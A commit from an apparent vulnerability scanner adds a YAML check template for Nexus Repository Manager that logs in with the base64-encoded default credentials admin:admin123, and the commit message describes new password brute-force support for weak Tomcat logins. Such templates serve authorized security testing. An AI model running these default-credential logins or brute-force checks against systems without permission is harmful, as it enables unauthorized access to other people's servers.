修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml

WebScan/pocs/nexus-default-password.yml

@@ -0,0 +1,22 @@
+name: poc-yaml-nexus-default-password
+rules:
+  - method: GET
+    path: /nexus/service/siesta/capabilities
+    expression: >
+      response.status == 401
+  - method: GET
+    path: /nexus/service/local/authentication/login
+    headers:
+      Accept: application/json
+      Authorization: Basic YWRtaW46YWRtaW4xMjM=
+    expression: >
+      response.status == 200
+  - method: GET
+    path: /nexus/service/siesta/capabilities
+    expression: >
+      response.status == 200
+detail:
+  author: Soveless(https://github.com/Soveless)
+  Affected Version: "Nexus Repository Manager OSS"
+  links:
+    - https://help.sonatype.com/learning/repository-manager-3/first-time-installation-and-setup/lesson-1%3A--installing-and-starting-nexus-repository-manager